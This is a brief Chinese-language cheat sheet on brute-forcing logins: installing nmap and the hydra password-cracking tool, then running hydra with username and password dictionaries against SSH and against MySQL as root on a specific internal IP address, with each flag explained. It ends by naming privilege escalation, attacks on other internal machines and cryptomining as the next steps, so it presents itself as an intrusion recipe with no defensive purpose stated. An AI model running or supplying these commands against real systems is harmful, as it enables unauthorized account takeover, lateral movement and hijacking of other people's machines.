爆破登录

安装nmap yum install -y nmap
nmap -A 扫描所有信息 nmap -p 指定端口（a-b） IP段

rpm -qa 已经安装的包
yum deplist 查看依赖关系
查看文件在那个rpm https://pkgs.org/
wget http://www6.atomicorp.com/channels/atomic/centos/7/x86_64/RPMS/firebird-libfbclient-2.5.2.26539.0-8.el7.art.x86_64.rpm

hydra 是一个支持众多协议的爆破工具

下载hrdra rpm包

wget http://www6.atomicorp.com/channels/atomic/centos/7/x86_64/RPMS/hydra-8.0-2.el7.art.x86_64.rpm
#安装hydra
yum install -y hydra-8.0-2.el7.art.x86_64.rpm

爆破ssh登录
hydra -L /test/user.txt -P /test/pas.txt -f -vV ssh://xxxxx
-L file 大写，指定用户的用户名字典
-P file 大写，用于指定密码字典。
-v / -V 显示详细过程
-f 找到第一对登录名或者密码的时候中止破解。
-l 指定破解的用户，对特定用户破解
-e 可选选项，n：空密码试探，s：使用指定用户和密码试探
-t 同时运行的线程数，默认为16

爆破mysql
hydra 10.133.13.207 mysql -l root -P /home/kali/top100password.txt -e ns -vV -f

查看网络连接情况判断netstat -antpl

提权->攻击其他内网机->挖矿等